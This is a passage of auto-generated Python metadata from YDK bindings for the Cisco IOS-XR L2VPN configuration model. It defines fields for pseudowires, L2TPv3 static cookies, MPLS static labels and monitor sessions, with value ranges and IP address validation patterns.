''' L2TP secondary local cookie ''', 'l2tp_secondary_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static-attributes', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire L2TPv3 static configuration ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Pseudowire IPv4 address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-pseudowires', REFERENCE_CLASS, 'BackupPseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires', [], [], ''' List of pseudowires ''', 'backup_pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Pseudowire Bandwidth ''', 'bandwidth', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static', REFERENCE_CLASS, 'L2TpStatic' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic', [], [], ''' Pseudowire L2TPv3 static configuration ''', 'l2tp_static', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static-attributes', REFERENCE_CLASS, 'L2TpStaticAttributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes', [], [], ''' L2TP Static Attributes ''', 'l2tp_static_attributes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mpls-static-labels', REFERENCE_CLASS, 'MplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels', [], [], ''' MPLS static labels ''', 'mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', REFERENCE_UNION, 'str' , None, None, [], [], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False, [ _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ]), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'neighbor', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Neighbor IP address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-mpls-static-labels', REFERENCE_CLASS, 'BackupMplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', [], [], ''' MPLS static labels ''', 'backup_mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('backup-pw-class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' PW class template name to use for the backup PW ''', 'backup_pw_class', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires', False, [ _MetaInfoClassMember('backup-pseudowire', REFERENCE_LIST, 'BackupPseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire', [], [], ''' Backup pseudowire for the cross connect ''', 'backup_pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowires', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher remote cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower remote cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Remote cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-remote-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-secondary-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes', False, [ _MetaInfoClassMember('l2tp-local-cookie', REFERENCE_CLASS, 'L2TpLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie', [], [], ''' L2TP local cookie ''', 'l2tp_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-local-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP local session ID ''', 'l2tp_local_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-cookie', REFERENCE_CLASS, 'L2TpRemoteCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie', [], [], ''' L2TP remote cookie ''', 'l2tp_remote_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP remote session ID ''', 'l2tp_remote_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-secondary-local-cookie', REFERENCE_CLASS, 'L2TpSecondaryLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie', [], [], ''' L2TP secondary local cookie ''', 'l2tp_secondary_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static-attributes', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire L2TPv3 static configuration ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress', False, [ _MetaInfoClassMember('pseudowire-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Pseudowire IPv6 address. A pseudowire can have only one address: IPv4 or IPv6 ''', 'pseudowire_address', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-pseudowires', REFERENCE_CLASS, 'BackupPseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires', [], [], ''' List of pseudowires ''', 'backup_pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Pseudowire Bandwidth ''', 'bandwidth', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static', REFERENCE_CLASS, 'L2TpStatic' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic', [], [], ''' Pseudowire L2TPv3 static configuration ''', 'l2tp_static', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static-attributes', REFERENCE_CLASS, 'L2TpStaticAttributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes', [], [], ''' L2TP Static Attributes ''', 'l2tp_static_attributes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mpls-static-labels', REFERENCE_CLASS, 'MplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels', [], [], ''' MPLS static labels ''', 'mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', REFERENCE_UNION, 'str' , None, None, [], [], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False, [ _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ]), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-address', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire', False, [ _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor', [], [], ''' keys: neighbor ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-address', REFERENCE_LIST, 'PseudowireAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress', [], [], ''' keys: pseudowire-address ''', 'pseudowire_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires', False, [ _MetaInfoClassMember('pseudowire', REFERENCE_LIST, 'Pseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire', [], [], ''' Pseudowire configuration ''', 'pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowires', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' Name of the monitor session ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable monitor session segment ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'monitor-session', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions', False, [ _MetaInfoClassMember('monitor-session', REFERENCE_LIST, 'MonitorSession' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession', [], [], ''' Monitor session segment ''', 'monitor_session', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'monitor-sessions', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted', False, [ _MetaInfoClassMember('acid', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Target AC ID ''', 'acid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('global-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Target Global ID ''', 'global_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Target Prefix ''', 'prefix', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('sacid', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Source AC ID ''', 'sacid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-routed', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds', False, [ _MetaInfoClassMember('pseudowire-routed', REFERENCE_LIST, 'PseudowireRouted' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted', [], [], ''' Pseudowire configuration ''', 'pseudowire_routed', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-routeds', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [], 